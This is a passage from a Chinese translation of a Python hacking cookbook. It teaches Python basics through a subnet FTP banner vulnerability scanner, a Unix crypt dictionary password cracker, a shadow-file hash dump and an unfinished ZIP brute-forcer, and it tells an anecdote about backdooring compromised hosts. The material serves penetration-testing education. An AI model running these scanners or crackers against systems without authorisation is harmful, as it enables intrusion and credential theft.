python绝技:运用python成为顶级黑客


Violent Python A Cookbook for Hackers, Forensic Analysts, Penetration Testers and Security Engineers 连载介绍信息: zone.wooyun.org/content/23138 原作者:Chris Katsaropoulos 第一译者:草帽小子-DJ 第二译者:crown 丶 prince 精神: 如果你足够努力,任何事情都是可能的! 介绍 Python 是一门黑客语言,它简单易学,开发效率高,大量的第三方库,学习门 槛低。Python 提供了高效的开发平台来构建我们自己的攻击工具。如果你用的 是 Mac OS X 或者是 Linux 系统,Python 已经内置在你的系统中。丰富的攻击 攻击已经存在,学习 Python 可以帮助你解决那些工具不能解决的问题。 目标人群 每个人的学知识并不同,然而,不管你是想学习如何编写 Python 代码的初学者, 或者是一位想将你的技术运用到渗透测试中的高级程序员。这本书适合你! 本书的结构 写这本书时,我们写了一些邪恶的渗透测试的 Python 例子。接下来的篇章我们 将介绍用 Python 进行渗透测试,Web 分析,网络流量分析,取证分析和攻击无 线设备等。希望这些例子能启发读者编写自己的 Python 脚本! 第 1 章 : 介绍 如果你以前没有 Python 编程经验,第一章将带你浏览一下 Python 的背景,语 法,函数,迭代器等语法问题,如果你已经有 Python 的编程经验,可以跳过这 一章。以后的章节将不会介绍更多的语言细节,你可以根据兴趣自行学习。 第 2 章 : 渗透测试 第 2 章介绍了 Python 脚本用于渗透测试的内容,本章的例子包含建立一个端口 扫描器,构建一个 SSH 的僵尸网络,降伏 FTP,编写病毒和漏洞利用代码。 第 3 章: 法庭调查取证 第 3 章将利用 Python 进行数字调查取证。本章提供了个人地理定位,数据恢复, 从 windows 注册表,文档元数据,镜像中提取痕迹,调查应用程序和移动设备 的痕迹。 第 4 章: 网络流量分析 第 4 章将使用 Python 进行网络流量分析,本章的脚本演示了从捕获的数据包中 定位 IP 地址,探讨流行的 DDOS 攻击工具,发现潜藏的扫描,分析僵尸网络流 量,挫败入侵检测系统。 第 5 章: 无线攻击 第 5 章将介绍无线网络和蓝牙设备攻击。本章的例子将演示怎样嗅探和解析无 线网络流量,构建一个无线网络记录器,发现隐藏的无线网络,确认恶意的无 线网络工具的使用,追踪蓝牙接收器,攻击蓝牙漏洞。 第 6 章: Web 侦查 本章将演示用 Python 侦查 Web 性息。本章的例子包含用 Python 匿名访问 web 网站,试探流行的媒体网站,发送钓鱼邮件。 第 7 章: 躲避杀毒系统 在最后一章,我们构建了一个躲避杀毒系统的恶意软件,我们上传我们的恶意 软件到在线的杀毒系统扫描。 第 1 章 介绍 本章内容 : 1.建立 Python 开发环境 2.Python 语言简介 3.变量,字符串,列表,字典介绍 4.使用用网络,迭代器,异常处理,模块等 5.写第一个 Python 程序,字典密码破解器 6.写第二个 Python 程序,压缩文件密码暴力破解 对我来说,武术的非凡之处在于它的简单。简单是最美的,而武术也没有什么 特别之处;以无法为有法,以有限为无限,是为武术最高境界! ——截拳道宗师 李小龙 引文:用 python 进行的一次渗透测试 最近,我的一个朋友对一家世界财富 500 强公司的计算机安全系统进行了渗透测试。 虽然该公司已建立和保持一个了优秀的安全机制,但他最终还是发现了一个存在漏洞 而未打补丁的服务器。几分钟之内,他用开源工具入侵了这个系统并获得管理权。然 后,他扫描了剩下的服务器以及客户机,并没有发现任何额外的漏洞。 从这一点看,他的测试似乎结束了,但是真正的渗透测试才刚刚开始。 他打开了自己常用的文本编辑器,写下了一个 Python 测试脚本,利用这个脚本发现 了其余存在漏洞的服务器,几分钟后,他获得了网络上超过一千台机器的管理权,然 而,在这样做时,他随后产生了一个难以管理的问题。 他知道,系统管理员会注意到 他的攻击并拒绝再让他访问。所以,他赶紧想办法在自己已经控制的服务器上,安装 永久的后门。 检查了一下自己渗透测试用到的文件后,我的朋友意识到他的这台客户机存在着很 重要的域控制器。以此得知,管理员使用了一个完全独立的管理账户登陆域控制器, 我的朋友写了一个小脚本检查 1000 台机器上已经登录的用户,过了一会,我的朋友被 告知,域管理员登录到了一个机器。他的监测基本完成,我的朋友现在知道在哪里继 续他的攻击了。 我朋友的迅速反应和他在压力下能创造性的思考的能力,促使他成为了一个渗透测 试者。他为了成功入侵这个世界 500 强公司,自己写了脚本工具。 一个小的 Python 脚本帮助他入侵了一千多个工作站。另一个小脚本允许他在管理员 发现前成功 triage。一个真正的渗透测试者会编写自己的工具来解决所遇到的问题。 所以,让我们以安装开发环境为开始,学习如何打造自己的工具吧! 建立开发环境 Python 的下载网站(http://www.python.org/download/)提供了 Python 在 Windows,Mac OS X 和 Linux 上的安装包。如果您运行的是 Mac OS X 或 Linux,Python 的解释器已经预先安装在了系统上。安装包为程序开发者提供 了 Python 解释器,标准库和几个内置模块。 Python 标准库和内置模块提供的 功能范围广泛,包括内建的数据类型,异常处理,数字和数学模块,文件处理 功能,如 加密服务,与操作系统互操作性,网络数据处理,并与 IP 协议交互,还包括许 多其他有用模块。同时,程序开发者可以很容易地安装任何第三方软件包。 第三方软件包的完整列表可在(http://pypi.python.org/pypi/) 上看到 安装第三方库 在第二章中,我们将利用 python 的 python-nmap 包来处理的 NMAP 的结果。 下面的例子描述了如何下载和安装 python-nmap 包(或其他任何包,真的)。 一旦我们已经保存了包到本地,我们解压这个包,并进入压缩后的目录中。 在工录中,我们执行 python setup.py 命令来安装 python-nmap 包。安装大 多数第三方包将遵循下载,解压,执行 python setup.py 命令进行安装的相 同的步骤。 programmer:∼# wget http://xael.org/norman/python/python-nmap/python- nmap-0.2.4.tar.gz-On map.tar.gz --2012-04-24 15:51:51--http://xael.org/norman/python/python-nmap/ python-nmap-0.2.4.tar.gz Resolving xael.org... 194.36.166.10 Connecting to xael.org|194.36.166.10|:80... connected. HTTP request sent, awaiting response... 200 OK Length: 29620 (29K) [application/x-gzip] Saving to: 'nmap.tar.gz' 100%[============================================= ===== ================================================= == =============>] 29,620 60.8K/s in 0.5s 2012-04-24 15:51:52 (60.8 KB/s) - 'nmap.tar.gz' saved [29620/29620] programmer:∼# tar -xzf nmap.tar.gz programmer:∼# cd python-nmap-0.2.4/ programmer:∼/python-nmap-0.2.4# python setup.py install running install running build running build_py creating build creating build/lib.linux-x86_64-2.6 creating build/lib.linux-x86_64-2.6/nmap copying nmap/__init__.py -> build/lib.linux-x86_64-2.6/nmap copying nmap/example.py -> build/lib.linux-x86_64-2.6/nmap copying nmap/nmap.py -> build/lib.linux-x86_64-2.6/nmap running install_lib creating /usr/local/lib/python2.6/dist-packages/nmap copying build/lib.linux-x86_64-2.6/nmap/__init__.py -> /usr/local/lib/ python2.6/dist-packages/nmap copying build/lib.linux-x86_64-2.6/nmap/example.py -> /usr/local/lib/ python2.6/dist-packages/nmap copying build/lib.linux-x86_64-2.6/nmap/nmap.py -> /usr/local/lib/ python2.6/dist-packages/nmap byte-compiling /usr/local/lib/python2.6/dist-packages/nmap/__init__.py to __init__.pyc byte-compiling /usr/local/lib/python2.6/dist-packages/nmap/example.py to example.pyc byte-compiling /usr/local/lib/python2.6/dist-packages/nmap/nmap.py to nmap.pyc running install_egg_info Writing /usr/local/lib/python2.6/dist-packages/python_nmap-0.2.4.egg- info 为了能够更简单的安装 python 的包,python 提供了 easy_install 模块。运行这个 简单的安装程序,程序将会在 python 库中寻找这个包,如果发现则下载它并自动安装 programmer:∼ # easy_install python-nmap Searching for python-nmap Readinghttp://pypi.python.org/simple/python-nmap/ Readinghttp://xael.org/norman/python/python-nmap/ Best match: python-nmap 0.2.4 Downloadinghttp://xael.org/norman/python/python-nmap/python-nmap- 0.2.4.tar.gz Processing python-nmap-0.2.4.tar.gz Running python-nmap-0.2.4/setup.py -q bdist_egg --dist-dir /tmp/easy_ install-rtyUSS/python-nmap-0.2.4/egg-dist-tmp-EOPENs zip_safe flag not set; analyzing archive contents... Adding python-nmap 0.2.4 to easy-install.pth file Installed /usr/local/lib/python2.6/dist-packages/python_nmap-0.2.4- py2.6.egg Processing dependencies for python-nmap Finished processing dependencies for python-nmap 为了快速建立一个开发环境,我们建议您从 http://www.backtrack- linux.org/downloads/下载最新的 BackTrack Linux 的渗透测试专版的复制版。他提供 了丰富的渗透测试工具,例如 forensic,Web,网络分析和无线攻击。之后的几个例子 中。可能会用到一些早已内置在 BackTrack 的工具或库。当在本书的例子中,需要用 到标准库和内置模块之外的第三方包的时候,文章将会提供包的下载网站。 设置一个开发环境时,提前下载好所有的这些第三方模块会是有用的。在 BackTrack 上,您可以通过执行 easy_install 命令来安装额外需要的库,这将会在 Linux 下,下载大多数例子中用到的库。 programmer:∼ # easy_install pyPdf python-nmap pygeoip mechanize BeautifulSoup4 第五章用到了一些明确的不能从 easy_install 下载的的蓝牙库。您可以使用包管理 器下载并安装这些库。 attacker# apt-get install python-bluez bluetooth python-obexftp Reading package lists... Done Building dependency tree Reading state information... Done <..SNIPPED..> Unpacking bluetooth (from .../bluetooth_4.60-0ubuntu8_all.deb) Selecting previously deselected package python-bluez. Unpacking python-bluez (from .../python-bluez_0.18-1_amd64.deb) Setting up bluetooth (4.60-0ubuntu8) ... Setting up python-bluez (0.18-1) ... Processing triggers for python-central 此外,第五章和第七章中的几个例子需要一个 Windows 版的 Python 下载器。最新 的 Windows 版的 Python 下载器,请访问 http://www.python.org/getit/ 最近几年 python 源代码已经延伸成了 2.x 和 3.x 两个分支。Python 的原作者 Guido van Rossum 试图清理代码使语言变得更一致,这个行为打破了 python 2.x 版本与之后 版本的兼容性,例如作者对 prin 语句的更改。在本书出版时,BackTrack 5 R2 把 Python 2.6.5 作为稳定的 python 版本。 programmer# python -V Python 2.6.5 解释型 python VS 交互型 python 与其他脚本语言类似,Python 是一种解释型语言。在运行时,解释器处理代码并 执行他,为了演示 python 解释器的使用,我们写一个.py 文件来打印“Hello World”。 为了解释这个程序,我们调用 python 解释器创建一个新的脚本。 programmer# echo print \"Hello World\" > hello.py programmer# python hello.py Hello World 此外,python 具有交互能力,程序设计师可以调用 python 解释器,并直接与解释 器“交流”。要启动解释器,程序开发者要先不带参数的执行 python,接着解释器会 呈现一个>>>来提示程序设计师,他可以接收命令了。在这里,程序设计师输入 print “Hello World”。按下回车后,python 交互解释器会立即执行该语句。 programmer# python Python 2.6.5 (r265:79063, Apr 16 2010, 13:57:41) [GCC 4.4.3] on linux2 >>> >>> print "Hello World" Hello World 为了初步了解语言背后的含义,本章偶尔会用到 python 解释器的交互能力。你可 以通过找寻>>>提示,来发现样例中对解释器的操作。 因为我们要解释下面章节中的样例,所以我们将通过数个被称为方法或函数的、 有一定功能的代码块,来建立我们的脚本。每当我们完成一个脚本,我们将展示如何 重新组合这些方法(函数)来让他们在 main()中被调用。试图运行一个只有孤立的函 数定义而不去调用他们的脚本是毫无意义的。大多数情况下,你都可以认出完整的脚 本,因为他们都有定义好的 main()函数。 在我们开始写我们的第一个程序前,我们将说明一些 python 标准库的重要组成部 分。 Python 语言 在下面的内容中,我们会讲解变量,数据类型,字符串,复杂的数据结构,网络, 选择,循环,文件处理,异常处理,与操作系统进行交互。为了显示这一点,我们将 构建一个简单的 TCP 类型的漏洞扫描器,读取来自服务的提示消息,并把他们与已知 的存在漏洞的服务版本做比较,作为一个有经验的程序设计师,你可能会发现一些最 初的示例代码的设计非常难看,事实上,我们希望你能在我们的代码基础上进行发展, 使他变得优雅。 那么,让我们从任何编程语言的基础——变量开始吧! 变量 在 python 中,变量对应的数据存储在内存中,这种在内存中的位置可以存储不同 的值,如整型,实数,布尔值,字符串,或更复杂的数据结构,例如列表或字典。在 下面的代码中,我们定义一个存储整形的变量和一个存储字符串的提示消息,为了把 这两个变量连接到一个字符串中,我们必须用 str()函数。 >>> port = 21 >>> banner = "FreeFloat FTP Server" >>> print "[+] Checking for "+banner+" on port "+str(port) [+] Checking for FreeFloat FTP Server on port 21 当程序设计师声明变量后,python 为这些变量保存了内存空间。程序设计师不必 声明变量的类型,相反,python 解释器决定了变量类型何在内存中为他保留的空间的 大小。思考下面的例子,我们正确的声明了一个字符串,一个整数,一个列表和一个 布尔值,解释器都自动的正确的识别了每个变量的类型。 >>> banner = "FreeFloat FTP Server" # A string >>> type(banner) >>> port = 21 # An integer >>> type(port) >>> portList=[21,22,80,110] # A list >>> type(portList) >>> portOpen = True # A boolean >>> type(portOpen) 字符串 在 python 中字符串模块提供了一系列非常强大的字符串操作方法。阅读 http://docs.python.org/library/string.html 上的用法列表的 python 文档。 让我们来看几个常用的函数。思考下面这些函数的用法,upper() 方法将字符串中 的小写字母转为大写字母,lower()方法转换字符串中所有大写字母为小写, replace(old,new)方法把字符串中的 old(旧字符串) 替换成 new(新字符串),find()方法 检测字符串中是否包含指定的子字符串。 >>> banner = "FreeFloat FTP Server" >>> print banner.upper() FREEFLOAT FTP SERVER >>> print banner.lower() freefloat ftp server >>> print banner.replace('FreeFloat','Ability') Ability FTP Server >>> print banner.find('FTP') 10 列表 Python 的数据结构——列表,提供了一种存储一组数据的方式。程序设计师 可以构建任何数据类型的列表。另外,有一些内置的操作列表的方法,例如添 加,删除,插入,弹出,获取索引,排序,计数,排序和反转。请看下面的例 子,一个程序通过使用 append()添加元素来建立一个列表,打印项目,然后在 再次输出前给他们排序。程序设计师可以找到特殊元素的索引(例如样例中的 80),此外,指定的元素也可以被移动。(例如样例中的 443) >>> portList = [] >>> portList.append(21) >>> portList.append(80) >>> portList.append(443) >>> portList.append(25) >>> print portList [21, 80, 443, 25] >>> portList.sort() >>> print portList [21, 25, 80, 443] >>> pos = portList.index(80) >>> print "[+] There are "+str(pos)+" ports to scan before 80." [+] There are 2 ports to scan before 80. >>> portList.remove(443) >>> print portList [21, 25, 80] >>> cnt = len(portList) >>> print "[+] Scanning "+str(cnt)+" Total Ports." [+] Scanning 3 Total Ports. 字典 Python 的数据结构——字典,提供了一个可以存储任何数量 python 对象的哈希表。 字典的元素由键和值组成,让我们继续用我们的漏洞扫描器的例子来讲解 python 的字 典。当扫描指定的 TCP 端口是,用字典包含每个端口对应的常见的服务名会很有用。 建立一个字典,我们能查找像 ftp 这样的键并返回端口关联的值 21。 当我们建立一个字典时,每一个键和他的用被冒号隔开,同时,我们用逗号分隔元素。 注意,.keys()这个方法将返回字典的所有键的列表,.items()这个方法将返回字典的元 素的一系列列表。接下来,我们验证字典是否包含了指定的键(ftp),伴随着键,值 21 返回了。 >>> services = {'ftp':21,'ssh':22,'smtp':25,'http':80} >>> services.keys() ['ftp', 'smtp', 'ssh', 'http'] >>> services.items() [('ftp', 21), ('smtp', 25), ('ssh', 22), ('http', 80)] >>> services.has_key('ftp') True >>> services['ftp'] 21 >>> print "[+] Found vuln with FTP on port "+str(services['ftp']) [+] Found vuln with FTP on port 21 网络 套接字模块提供了一个可以使 python 建立网络连接的库。让我们快速的编写一个获 取提示信息的脚本,连接到特定 IP 地址和端口后,我们的脚本将打印提示信息,之后, 我们使用 connect()函数连接到 IP 地址和端口。一旦连接成功,就可以通过套接字进 行读写。这种 recv(1024)的方法将读取之后在套接字中 1024 字节的数据。我们把这种 方式的结果存到一个变量中,然后打印到服务器。 >>> import socket >>> socket.setdefaulttimeout(2) >>> s = socket.socket() >>> s.connect(("192.168.95.148",21)) >>> ans = s.recv(1024) >>> print ans 220 FreeFloat Ftp Server (Version 1.00). 选择 像大多数编程语言一样,python 提供了条件选择的方式,通过 if 语句,计算一个逻 辑表达式来判断选择的结果。继续写我们的脚本,我们想知道,是否指定的 FTP 服务 器是容易受到攻击的。要做到这一点,我们要拿我们的结果和已知的易受攻击的 FTP 服务器版本作比较。 >>> import socket >>> socket.setdefaulttimeout(2) >>> s = socket.socket() >>> s.connect(("192.168.95.148",21)) >>> ans = s.recv(1024) >>> if ("FreeFloat Ftp Server (Version 1.00)" in ans): ... print "[+] FreeFloat FTP Server is vulnerable." ...elif ("3Com 3CDaemon FTP Server Version 2.0" in banner): ... print "[+] 3CDaemon FTP Server is vulnerable." ... elif ("Ability Server 2.34" in banner): ... print "[+] Ability FTP Server is vulnerable." ... elif ("Sami FTP Server 2.0.2" in banner): ... print "[+] Sami FTP Server is vulnerable." ... else: ... print "[-] FTP Server is not vulnerable." ... [+] FreeFloat FTP Server is vulnerable." 异常处理 即使一个程序设计师编写的程序语法正确,该程序仍然可能在运行或执行时发生错误。 考虑经典的一种运行错误——除以零。因为零不能做除数,所以 python 解释器显示一 条消息,把错误信息告诉程序设计师:该错误使程序停止执行。 >>> print 1337/0 Traceback (most recent call last): File "", line 1, in ZeroDivisionError: integer division or modulo by ze 如果我们想在我们预设的范围内处理错误,会对运行的程序产生什么影响呢? python 语言提供的异常处理能力就可以这样做。让我们来更新前面的例子,我们使用 try/except 进行异常处理。现在程序试图除以零。当错误发生时,我们的异常处理捕获 错误并把错误信息打印到屏幕上。 >>> try: ... print "[+] 1337/0 = "+str(1337/0) ... except: ... print "[-] Error. " ... [-] Error >>> 不幸的是,这给了我们非常少的关于错误的异常处理的信息。但在对待特殊错误时, 这可能很有用,要做到这一点,我们将存储异常信息到一个变量中,来打印出异常信 息。 >>> try: ... print "[+] 1337/0 = "+str(1337/0) ... except Exception, e: ... print "[-] Error = "+str(e) ... [-] Error = integer division or modulo by zero >>> 现在,让我们用异常处理来更新我们的脚本,我们用异常处理把网络连接代码包装起 来,接下来,我们连接到一台围在 TCP 端口 21 上开放 FTP 服务的机器。如果我们等 待连接超时,我们将看到一条信息来表明网络连接操作超时。然后,我们的程序可以 继续运行。 >>> import socket >>> socket.setdefaulttimeout(2) >>> s = socket.socket() >>> try: ... s.connect(("192.168.95.149",21)) ... except Exception, e: ... print "[-] Error = "+str(e) ... [-] Error = Operation timed out 在本书中,让我们为你提供一个与异常处理有关的警告,为了清楚的说明各种各样的 概念,在下面的内容中,我们已经在最小的地方都添加了异常处理,但我们仍然欢迎 你更新这新脚本,并把强化的异常处理代码分享到配到网站上。 函数 在 python 中,函数提供了组建好的,可反复使用的代码片段。通常,这允许程序设 计师写代码来执行单独或关联的行为。 尽管 python 提供了许多内置函数,程序设计师仍然可以创建自定义的函数。关键字 def()开始了一个函数,程序设计师可以把任何变量放到括号里。这些变量随后被传递, 这意味着在函数内部对这些变量的任何变化,都将影响调用的函数的值。继续以我们 的 FTP 漏洞扫描器为例,让我们创建一个函数来执行只连接到 FTP 服务器的操作并返 回提示信息 import socket def retBanner(ip, port): try: socket.setdefaulttimeout(2) s = socket.socket() s.connect((ip, port)) banner = s.recv(1024) return banner except: return def main(): ip1 = '192.168.95.148' ip2 = '192.168.95.149' port = 21 banner1 = retBanner(ip1, port) if banner1: print '[+] ' + ip1 + ': ' + banner1 banner2 = retBanner(ip2, port) if banner2: print '[+] ' + ip2 + ': ' + banner2 if __name__ == '__main__': main() 在返回信息后,我们的脚本需要与已知存在漏洞的程序进行核对。这也反映了函数 的单一性和相关性。该函数 checkVulns()用获得的信息来对服务器存在的漏洞进行判 断。 import socket def retBanner(ip, port): try: socket.setdefaulttimeout(2) s = socket.socket() s.connect((ip, port)) banner = s.recv(1024) return banner except: return def checkVulns(banner): if 'FreeFloat Ftp Server (Version 1.00)' in banner: print '[+] FreeFloat FTP Server is vulnerable.' elif '3Com 3CDaemon FTP Server Version 2.0' in banner: print '[+] 3CDaemon FTP Server is vulnerable.' elif 'Ability Server 2.34' in banner: print '[+] Ability FTP Server is vulnerable.' elif 'Sami FTP Server 2.0.2' in banner: print '[+] Sami FTP Server is vulnerable.' else: print '[-] FTP Server is not vulnerable.' return def main(): ip1 = '192.168.95.148' ip2 = '192.168.95.149' ip3 = '192.168.95.150' port = 21 banner1 = retBanner(ip1, port) if banner1: print '[+] ' + ip1 + ': ' + banner1.strip('\n’) checkVulns(banner1) banner2 = retBanner(ip2, port) if banner2: print '[+] ' + ip2 + ': ' + banner2.strip('\n') checkVulns(banner2) banner3 = retBanner(ip3, port) if banner3: print '[+] ' + ip3 + ': ' + banner3.strip('\n') checkVulns(banner3) if __name__ == '__main__': main() 迭代 上一章中,你可能会发现我们几乎重复三次写了相同的代码,来检测三个不同的 IP 地 址。 代替反复做一件事,使用 for 循环便利多个元素会更加容易。举个例子:如果我们想便 利整个整个 IP 地址从 192.168.98.1 到 192.168.95.254 的子网,我们要用一个 for 循 环从 1 到 255 进行遍历,来打印出子网内的信息。 >>> for x in range(1,255): ... print "192.168.95."+str(x) ... 192.168.95.1 192.168.95.2 192.168.95.3 192.168.95.4 192.168.95.5 192.168.95.6 ... ... 192.168.95.253 192.168.95.254 同样,我们可能需要遍历已知的端口列表来检查漏洞。代替一系列的数字,我们可以 通过一个元素列表遍历他们。 >>> portList = [21,22,25,80,110] >>> for port in portList: ... print port ... 21 22 25 80 110 嵌套了两个 for 循环,现在我们可以打印出每个 IP 地址和端口了。 >>> for x in range(1,255): ... for port in portList: ... print "[+] Checking 192.168.95."\ +str(x)+": "+str(port) ... [+] Checking 192.168.95.1:21 [+] Checking 192.168.95.1:22 [+] Checking 192.168.95.1:25 [+] Checking 192.168.95.1:80 [+] Checking 192.168.95.1:110 [+] Checking 192.168.95.2:21 [+] Checking 192.168.95.2:22 [+] Checking 192.168.95.2:25 [+] Checking 192.168.95.2:80 [+] Checking 192.168.95.2:110 <... SNIPPED ...> 随着程序有了遍历 IP 和端口的能力,我们也将个更新我们的漏洞检测脚本,现在, 我们的脚本将测试全部 254 个 IP 地址所提供的 telnet, SSH, smtp, http, imap, and https 服务。 import socket def retBanner(ip, port): try: socket.setdefaulttimeout(2) s = socket.socket() s.connect((ip, port)) banner = s.recv(1024) return banner except: return def checkVulns(banner): if 'FreeFloat Ftp Server (Version 1.00)' in banner: print '[+] FreeFloat FTP Server is vulnerable.' elif '3Com 3CDaemon FTP Server Version 2.0' in banner: print '[+] 3CDaemon FTP Server is vulnerable.' elif 'Ability Server 2.34' in banner: print '[+] Ability FTP Server is vulnerable.' elif 'Sami FTP Server 2.0.2' in banner: print '[+] Sami FTP Server is vulnerable.' else: print '[-] FTP Server is not vulnerable.' return def main(): portList = [21,22,25,80,110,443] for x in range(1, 255): ip = '192.168.95.' + str(x) for port in portList: banner = retBanner(ip, port) if banner: print '[+] ' + ip + ': ' + banner checkVulns(banner) if __name__ == '__main__': main() 文件 I/O 虽然我们的脚本已有了一些能帮助检测漏洞信息的 if 语句,但加进一个漏洞列表会 更好,举个例子,假设我们有一个叫做 vuln_banners.txt 的文本文件。在每一行该文 件列出了具体的服务版本和已知的之前的漏洞,我们不需要构建一个庞大的 if 语句, 让我们读取这个文本文件,并用他来判断是否我们的提示信息存在漏洞。 programmer$ cat vuln_banners.txt 3Com 3CDaemon FTP Server Version 2.0 Ability Server 2.34 CCProxy Telnet Service Ready ESMTP TABS Mail Server for Windows NT FreeFloat Ftp Server (Version 1.00) IMAP4rev1 MDaemon 9.6.4 ready MailEnable Service, Version: 0-1.54 NetDecision-HTTP-Server 1.0 PSO Proxy 0.9 SAMBAR Sami FTP Server 2.0.2 Spipe 1.0 TelSrv 1.5 WDaemon 6.8.5 WinGate 6.1.1 Xitami YahooPOPs! Simple Mail Transfer Service Ready 我们将会把我们更新后的代码放到函数 checkVulns()中。在这里我们将用只读模式 (’r’)打开文本文件。然后使用函数 readlines()遍历文件的每一行,对每一行,我们把他 与我们的提示信息作比较,注意我们必须用方法.strip(‘\r’)去掉每行的回车符,如果发 现一对匹配了,我们打印出有漏洞的服务信息。 def checkVulns(banner): f = open("vuln_banners.txt",'r') for line in f.readlines(): if line.strip('\n') in banner: print "[+] Server is vulnerable: "+banner.strip('\n') SYS 模块 内置的 sys 模块提供访问和维护 python 解释器的能力。这包括了提示信息,版本, 整数的最大值,可用模块,路径钩子,标准错误,标准输入输出的定位和解释器调用 的命令行参数。你能够在 python 的在线模块文档上找到更多与此相关的信息 (http://docs.python.org/library/sys)。在创建 python 脚本时与 sys 模块交互会十分 有用。我们可以,例如,想在程序运行时解析命令行参数。思考下我们的漏洞扫描器, 如果我们想要把文本文件的名字作为命令行参数传递会怎么样呢?领标 sys.argv 包 含了全部的命令含参数。第一个索引 sys.argv[0]包含了 python 脚本解释器的名称。列 表中剩余的元素包含了以下全部的命令行参数。因此,如果我们只想传递附加的参数, sys.argv 应该包含两个元素。 import sys if len(sys.argv)==2: filename = sys.argv[1] print "[+] Reading Vulnerabilities From: "+filename 运行我们的代码片段,我们看到代码成功的解析了命令行参数并把他打印到了屏幕 上。你可以花时间来学习下全部的 sys 模块提供给程序设计师的丰富的功能。 programmer$ python vuln-scanner.py vuln-banners.txt [+] Reading Vulnerabilities From: vuln-banners.tx OS 模块 内置的 OS 模块提供了丰富的与 MAC,NT,Posix 等操作系统进行交互的能力。这个模 块允许程序独立的与操作系统环境。文件系统,用户数据库和权限进行交互。思考一 下,比如,上一章中,用户把文件名作为命令行参数来传递。他可以验证文件是否存 在以及当前用户是否有权限都这个文件。如果失败,他将显示一条信息,来显示一个 适当的错误信息给用户。 import sys import os if len(sys.argv) == 2: filename = sys.argv[1] if not os.path.isfile(filename): print '[-] ' + filename + ' does not exist.' exit(0) if not os.access(filename, os.R_OK): print '[-] ' + filename + ' access denied.' exit(0) print '[+] Reading Vulnerabilities From: ' + filename 为了验证我们的代码,我们尝试读取一个不存在的文件,该文件使我们的程序打印 出了错误信息,接下来,我们创建这个文件,我们的脚本成功的读取了他。最后我们 限制了权限,我们的脚本正确的打印了拒绝访问的消息。 programmer$ python test.py vuln-banners.txt [-] vuln-banners.txt does not exist. programmer$ touch vuln-banners.txt programmer$ python test.py vuln-banners.txt [+] Reading Vulnerabilities From: vuln-banners.txt programmer$ chmod 000 vuln-banners.txt programmer$ python test.py vuln-banners.txt [-] vuln-banners.txt access denied 现在我们可以重新组合漏洞扫描程序的各个零件。不用担心他会错误终止或是在执 行时缺少使用线程的能力或是更好的分析命令行的能力,我们将会在后面的章节继续 改进这个脚本 Import socket import os import sys def retBanner(ip, port): try: socket.setdefaulttimeout(2) s = socket.socket() s.connect((ip, port)) banner = s.recv(1024) return banner except: return def checkVulns(banner, filename): f = open(filename, 'r') for line in f.readlines(): if line.strip('\n') in banner: print '[+] Server is vulnerable: ' +\ banner.strip('\n') def main(): if len(sys.argv) == 2: filename = sys.argv[1] if not os.path.isfile(filename): print '[-] ' + filename +\ ' does not exist.' exit(0) if not os.access(filename, os.R_OK): print '[-] ' + filename +\ ' access denied.' exit(0) else: print '[-] Usage: ' + str(sys.argv[0]) +\ ' ' exit(0) portList = [21,22,25,80,110,443] for x in range(147, 150): ip = '192.168.95.' + str(x) for port in portList: banner = retBanner(ip, port) if banner: print '[+] ' + ip + ': ' + banner checkVulns(banner, filename) if __name__ == '__main__': main() 你的的第一个 Python 程序 随着了解了如何构建 python 脚本,让我们开始写我们的第一个程序。在我们向前 迈进前,我们将描述一些轶闻轶事,强调我们的脚本的需要。 为你的第一个程序设立个平台: 杜鹃蛋 C. Stoll 的《杜鹃蛋》(1989)堪称新派武侠的开山之作。它第一次把黑客活 动与国家安全联系在一起。黑客极具破坏性的黑暗面也浮出海面,并且永远改 变了黑客的形象。迄今仍是经久不衰的畅销书。   Stoll 是劳伦斯伯克利实 验室的天文学家和系统管理员。1986 年夏,一个区区 75 美分的帐目错误引 起了他的警觉,在追查这次未经授权的入侵过程中,他开始卷入一个错综复杂 的电脑间谍案。神秘的入侵者是西德混沌俱乐部的成员。他们潜入美国,窃取 敏感的军事和安全情报。出售给克格勃,以换取现金及可卡因。一场网络跨国 大搜索开始了,并牵涉出 FBI、CIA、克格勃、西德邮电部等。《杜鹃蛋》为 后来的黑客作品奠定了一个主题:追捕与反追捕的惊险故事。而且也开始了新 模式:一个坚韧和智慧的孤胆英雄,成为国家安全力量的化身,与狡猾的对手 展开传奇的较量。 (该故事已经有经典的翻译版本,可以直接参考) 下载地址:http://pan.baidu.com/s/1kTCNwMF 密码 ug42 你的第一个程序,一个 UNIX 密码破解器! 我们只需要用标准库中的 crypt 模块的 crypt()函数。传入密码和盐即可。 让我们赶快试一试用 crypt()函数哈希一个密码试试,我们输入密码”egg”和 盐”HX”,返回的哈希密码值是”HX9LLTdc/jiDE”,现在我们可以遍历整个字典, 试图用常用的盐来匹配破解哈希密码! >>>import crypt >>>crypt.crypt(‘egg’, ‘HX’) “HX9LLTdc/jiDE” >>> 注意:哈希密码的前两位就是盐的前两位,这里我们假设盐只有两位。 程序分两部分,一部分是打开字典,另一部分是哈希匹配密码,代码如下: # coding=UTF-8 """ 暴力破解UNIX的密码,需要输入字典文件和UNIX的密码文件 """ import crypt def testPass(cryptPass): salt = cryptPass[0:2] dictfile = open('dictionary.txt', 'r') #打开字典文件 for word in dictfile.readlines(): word = word.strip('\n') #保留原始的字符,不去空格 cryptWord = crypt.crypt(word, salt) if cryptPass == cryptWord: print('Found passed : ', word) return print('Password not found !') return def main(): passfile = open('passwords.txt', 'r') #读取密码文件 for line in passfile.readlines(): user = line.split(':')[0] cryptPass = line.split(':')[1].strip('') print("Cracking Password For :", user) testPass(cryptPass) if __name__ == '__main__': main() 但是现代的×NIX 系统将密码存储在/etc/shadow 文件中,提供了个更安全的 哈希散列算法 SHA-512 算法,Python 的标准库中 hashlib 模块提供了此算法, 我们可以更新我们的脚本,破解 SHA-512 哈希散列加密算法的密码。 root@DJ-PC:/home/dj# cat /etc/shadow | grep root root:$6$t0dy7TXs$mJxj1Ydfx83Eg0b7ry1etUQA8g7GliedT2DlnlLhiEunizJ1AAzS zQLfzV5J17D0MsZVwUVjP/0KHGV5Ue33F1:16411:0:99999:7::: 你的第二个程序:ZIP 文件密码破解 Python 的标准库提供了 ZIP 文件的提取压缩模块 zipfile,现在让我们试着用这 个模块,暴力破解出加密的 ZIP 文件! 我们可以用 extractall()这个函数抽取文件,密码正确则返回正确,密码错误测 抛出异常。 现在我们可以增加一些功能,将上面的单线程程序变成多线程的程序,来提高 破解速度。 两个程序代码如下,注释处为单线程代码: # coding=UTF-8 """ 用字典暴力破解ZIP压缩文件密码 """ import zipfile import threading def extractFile(zFile, password): try: zFile.extractall(pwd=password) print("Found Passwd : ", password) return password except: pass def main(): 